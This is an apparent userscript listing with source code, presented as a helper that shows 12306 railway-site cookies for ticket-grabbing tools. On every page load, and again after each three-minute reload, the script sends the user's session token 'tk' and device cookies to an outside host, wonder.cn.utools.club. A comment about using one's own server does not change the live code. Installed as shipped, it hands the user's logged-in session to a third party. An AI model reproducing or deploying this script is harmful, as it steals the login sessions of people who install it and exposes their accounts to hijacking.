获取12306cookie值

我们的目的是在登录12306网站后,方便、快速的获取到抢票需要的cookie值。

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         获取12306cookie值
// @namespace    https://kyfw.12306.cn/
// @version      0.3
// @description  我们的目的是在登录12306网站后,方便、快速的获取到抢票需要的cookie值。
// @author       wonder
// @match        https://kyfw.12306.cn/*
// @grant        none
// ==/UserScript==

(function() {
    //'use strict';

    //console.log($("body").html());
    //console.log("【总cookie】",document.cookie)
    function getCookie(cname) {
        var name = cname + "=";
        //var decodedCookie = decodeURIComponent(document.cookie);
        var cookieStr = document.cookie;
        var ca = cookieStr.split(';');
        for(var i = 0; i <ca.length; i++) {
            var c = ca[i];
            while (c.charAt(0) == ' ') {
                c = c.substring(1);
            }
            if (c.indexOf(name) == 0) {
                return c.substring(name.length, c.length);
            }
        }
        return "";
    }

    if(getCookie("tk")==""){
      //alert("tk为空!");
        console.log("tk为空!");
    }else{
        //如果tk不为空
          console.log(getCookie("tk")+"====时间:"+new Date().toLocaleTimeString());
//         console.log(getCookie("RAIL_EXPIRATION"));
//         console.log(getCookie("RAIL_DEVICEID"));

        document.getElementsByClassName("center-main")[0].innerHTML="【=========获取到tk========】"+"<br>"
            +"【tk】:<br> "+"<span style='color:red;'>"+getCookie("tk")+"</span><br>"
            +"【RAIL_EXPIRATION】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_EXPIRATION")+"</span><br>"
             +"【RAIL_DEVICEID】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_DEVICEID")+"</span><br>"
            +"<br><br><button id='send'>发送到服务器</button><span>自动保持登录,并持续发送到服务器,直到离开当前页面。</span>"


        //ajax上传服务器  //点击事件
        document.getElementById("send").onclick=sendData;
         //发送数据
         sendData();

        setTimeout(function(){
            //刷新页面
           location.reload(true);

        },3000*60);

        //保持登录,并发送到服务器
//         setInterval(function(){
//               // console.log(1);

//            // https://kyfw.12306.cn/otn/login/conf
//              var xhr = new XMLHttpRequest();
//             //创建一个 post 请求,采用异步
//             xhr.open('POST', 'https://kyfw.12306.cn/otn/login/conf', true);
//             //注册相关事件回调处理函数
//             xhr.onload = function(e) {
//                 if(this.status == 200||this.status == 304){
//                     //console.log(this.responseText);
//                 }else{
//                    console.log("error");
//                 }
//             };
//             xhr.send();

//             if(getCookie("tk")!=tk_temp){
//                 tk_temp = getCookie("tk");
//                console.log("tk发生改变:",new Date().toLocaleTimeString());

//                    document.getElementsByClassName("center-main")[0].innerHTML="【=========获取到tk========】"+"<br>"
//             +"【tk】:<br> "+"<span style='color:red;'>"+getCookie("tk")+"</span><br>"
//             +"【RAIL_EXPIRATION】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_EXPIRATION")+"</span><br>"
//              +"【RAIL_DEVICEID】:<br> "+"<span style='color:red;'>"+getCookie("RAIL_DEVICEID")+"</span><br>"
//             +"<br><br><button id='send'>发送到服务器(开发中)</button><span>自动保持登录,并持续发送到服务器,直到离开当前页面。</span>"

//              //var data = {tk:getCookie("tk"),rail_expiration:getCookie("RAIL_EXPIRATION"),rail_deviceid:getCookie("RAIL_DEVICEID")};
//              //发送数据
//              sendData();
//             }
//              console.log(getCookie("tk"));
           
//            },2000*60); //每分钟发送一次


//   不知道为什么不能引用jq,所以只能用原生js写了。
//          $("#send").click(function(){
//              alert("功能开发中~");
//             console.log("发送数据到服务器~");
//             $.ajax(
//                 {
//                     url:"https://api.github.com/",
//                     type:"post",
//                     data:{},
//                     success:function(res){
//                         console.log("服务器返回结果:",res);
//                     }
//                 }
//             );

//         })

    }




function sendData()
{
    var data = {tk:getCookie("tk"),rail_expiration:getCookie("RAIL_EXPIRATION"),rail_deviceid:getCookie("RAIL_DEVICEID")};
    //alert("接收cookie程序开发中~");
    var xmlhttp;
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
             //alert(typeof xmlhttp.response);
            console.log(xmlhttp.response)
            var result = JSON.parse(xmlhttp.response);
            console.log(typeof result);
            if(result.code==200){
              console.log("发送成功!");
                
            }else{
              console.log("发送失败!");
            }
        }
    }
    //请把https://api.github.com改为自己的服务器地址。 请确保该地址为https 开头,而不是http
    //xmlhttp.open("POST","https://wonder.test.utools.club/cookie",true);https://e0cf1d50ed6d.ngrok.io/

    xmlhttp.open("POST","https://wonder.cn.utools.club/cookie",true);

    xmlhttp.setRequestHeader('Content-Type','application/json');
     console.log("JSON==================",JSON.stringify(data));
    //将用户输入值序列化成字符串
    xmlhttp.send(JSON.stringify(data));  //向服务器发送tk值
    //xmlhttp.send();
}

    // Your code here...
})();